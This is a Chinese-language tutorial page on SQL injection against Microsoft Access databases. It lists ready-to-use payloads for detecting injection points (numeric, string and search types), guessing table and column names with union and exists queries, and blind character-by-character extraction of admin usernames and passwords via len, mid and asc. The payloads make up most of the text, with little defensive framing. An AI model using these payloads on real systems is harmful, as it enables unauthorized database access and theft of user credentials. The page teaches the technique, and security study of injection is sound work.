C/C++教程

ACCESS SQL 注入

本文主要是介绍ACCESS SQL 注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

简介

​ Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

access数据库结构

​ access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。

测试SQL注入方法

联合查询

#判断注入
 and 1=1 
 and 1=2
 
#猜列数
order by 3
	
#猜表名(报错说明表名不存在,将admin换成别的继续猜)
union select 1,2,3 from admin
	
#猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列名继续猜)(列名猜对后输出账号密码)
union select 1,2,username from admin 

逐字猜解法

#判断注入
and 1=1 and 1=2

#猜表名
and exists (select * from admin) 

#猜列名
and exists (select user_name from admin) 

#查数据:
1.确定长度 
and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
2.确定asc数据(asc编码)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位

(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)

access注入基本流程

  • 判断有无注入

  • 猜解表名

  • 猜解字段

  • 猜解管理员ID值

  • 猜解用户名和密码长度

  • 猜解用户名和密码

判断有无注入

粗略型:提交单引号'  参数值-1 
逻辑型(数字型注入):and 1=1 / and 1=2
逻辑型(字符型注入):' and '1'='1 / ' and '1'='2
逻辑型(搜索型注入):%' and 1=1 and '%'='% / %' and 1=2 and '%'='%

猜解表名

#用exists判断select * from admin的结果是否为真
and exists (select * from 表名)

#(<>:不等于), count是统计的函数,统计表中的所有字段。列数不等于0说明存在表
and 0<>(select count(*) from 表名) 

猜解字段

#若页面返回正常,就说明admin 表里存在id这个字段
and exists (select id from admin)

猜解管理员ID值

#若页面返回正常,就说明存在id=1的帐号
and exists (select id from admin where id=1)

猜解用户名和密码长度

#猜出存在id=1的帐号,下面语句页面返回正常,就说明UserName字段长度小于6
and exists (select id from admin where len (UserName) >6 and id=1)

#top表示把最前面的一条记录提取出来;
and (select top 1 len(UserName) from admin)=8

猜解用户名和密码

and (select top 1 asc(mid(列名,1,1)) from 表名)>0

and (select top 1 asc(mid(UserName,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(UserName,2,1)) from admin)=97 判断第二位
这篇关于ACCESS SQL 注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!